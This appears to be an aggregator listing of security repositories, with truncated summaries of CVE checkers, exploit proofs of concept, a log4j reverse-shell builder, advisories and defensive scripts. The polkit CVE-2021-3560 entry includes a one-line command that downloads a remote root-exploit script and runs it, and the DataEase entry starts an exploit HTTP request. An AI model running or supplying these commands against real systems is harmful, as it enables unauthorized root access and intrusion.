CVE-2024-49113-Checker

CVE-2024-49113-Checker Script to test whether your environment is potentially vulnerable to CVE-2024-49113 LDAP Nightmare. This script performs: RPC connectivity checks LDAP port tests Netlogon service validation LDAP callback verification root@kitploit: usage : python CVE-2024-49113-checker.py...

log4j-exploit-builder

log4j-exploit-builder Script to create a log4j CVE-2021-44228 exploit with support for different methods of getting a reverse shell NOTE: The code was speedrunned and will improve in the future...

CVE-2026-10289-XSS

ホテル・観光予約システム - 保存型クロスサイトスクリプティング（XSS） 脆弱性の詳細...

CVE-2021-4034

使い方： sh poc.sh...

CVE-2021-4034

CVE-2021-4034 BASH file, no download capabilties? Copy and paste it!...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit You can run one command to root with Polkit CVE-2021-3560 vulnerable boxes by typing in: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Or you can download the .sh or copy and paste it. Run and Instant Root. Us...

DataEase_Postgresql_JDBC_Bypass-CVE-2025-49002

fofa syntax: title="DataEase" poc: "POST /de2api/datasource/validate HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate, br, zstd sec-ch-ua: ""Google Chrome"";v=""135"", ""Not-A.Brand"";v=""8"", ""Chromium"";v=""135"" User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML...

CVE-2023-51764

CVE-2023-51764 CVE-2023-51764 poc Link: https://github.com/duy-31/CVE-2023-51764 1. Add SMTP authentication 2. The script has only been tested on Kali 3. Please do not use the script for illegal purposes...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Detects Oracle E-Business Suite CVE-2025-61882. Detection: multi-tier checks — fingerprinting, version checks, endpoint & SSRF tests, timing analysis & controlled exploitation 4 high-confidence results. Default = safe fingerprinting only. Set aggressive=true 2...

Linux Distros Unpatched Vulnerability : CVE-2026-88859

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A flaw was found in Evolution. A remote attacker can exploit this vulnerability by sending a specially crafted HTML email containing a spoofed vCard control. Wh...

copy_fail_mitigation

copyfailmitigation 1. This script will attempt to mitigate the copyfail attack. CVE-2026-31431 2. Works on all Debian/Ubuntu Arch based platforms i.e. Kali, ParrotSec, BlackArch Usage: 3. cd 4. chmod +x copyfailmitigation.sh 5. Recommended to run as root 6. ./copyfailmitigation.sh...

CVE-2025-49844_POC

CVE-2025-49844POC CVE-2025-49844 POC -h ヘルプ情報を表示 ··· Redis にはRedis Luaスクリプトのリモートコード実行の脆弱性CVE-2025-49844が存在します。この脆弱性の根本的な原因は、Redis の Lua スクリプトエンジンとメモリ管理ロジックの相互作用に設計上の欠陥があることです。 ··· ··· 関連URL：https://nvd.nist.gov/vuln/detail/CVE-2025-49844 ··· 免責事項：このスクリプトは許可を得た環境でのみ使用してください。無許可のネットワーク攻撃への使用は禁止されてい...

CVE-2026-24061

CVE-2026-24061 python3 exploit.py...

CVE-2026-21440-POC-EXP

CVE-2026-21440 完全な脆弱性情報 📁 CVE-2026-21440 PoC スクリプトを使用する簡単な手順 1、依存関係のインストール python -m pip install --upgrade pip 2、テストの実行 python CVE-2026-21440-code.py -h 3、6つのプリセット機密パスを内蔵（-s で直接呼び出し、長いパスを書く必要なし） 4、主要パラメータ早見表（表形式で分かりやすい）...

CVE-2025-55315-

CVE-2025-55315 Vulnerability Research This project contains research and analysis code for the CVE-2025-55315 vulnerability. Project Overview This repository is used to research and analyze the technical details, impact scope, and possible exploitation methods of the CVE-2025-55315 vulnerability...

php-8.1.0-dev-backdoor-rce

Ejecución remota de código mediante backdoor en PHP 8.1.0-dev Script de shell del sistema con backdoor para PHP 8.1.0-dev La versión de PHP 8.1.0-dev se publicó con un backdoor el 28 de marzo de 2021, pero el backdoor fue rápidamente descubierto y eliminado. Si esta versión de PHP se ejecuta en u...

Cisco-UCS-Manager-2.2-1d-Remote-Command-Execution

Cisco-UCS-Manager-2.2-1d-Remote-Command-Execution - Bug de Cisco: CSCur90888 Título del Exploit : Cisco UCS Manager - 2.21d - Ejecución Remota de Comandos Descripción : Un script CGI no especificado en Cisco FX-OS anterior a 1.1.2 en dispositivos Firepower 9000 y Cisco Unified Computing System UC...

CVE-2026-61911

An issue was discovered in Cyrus IMAP before 3.12.4. There is a Sieve mailbox existence oracle. An authenticated user could install a Sieve script that probed whether another user's private mailbox existed, or read the value of shared mailbox annotations, by observing which fileinto branch fired...

CVE-2025-8625

CVE-2025-8625 — PoC Overview This repository contains the source files for an article on Xakep.ru. The repository contains demonstration materials intended exclusively for security research, education, and testing in isolated laboratory environments. The repository is not intended for use against...

defender

🛡️ Linux-Defender.sh 📝 Tabla de Contenidos 📌 Descripción general 🚀 Características 🐧 Distribuciones soportadas 📦 Herramientas instaladas ⚙️ Instalación Construcción desde el Código Fuente General 📦 Instalación por Paquete Paquete Debian .deb Paquete Arch Linux 🧰 Ejecutando el Defender 🧾 Licencia...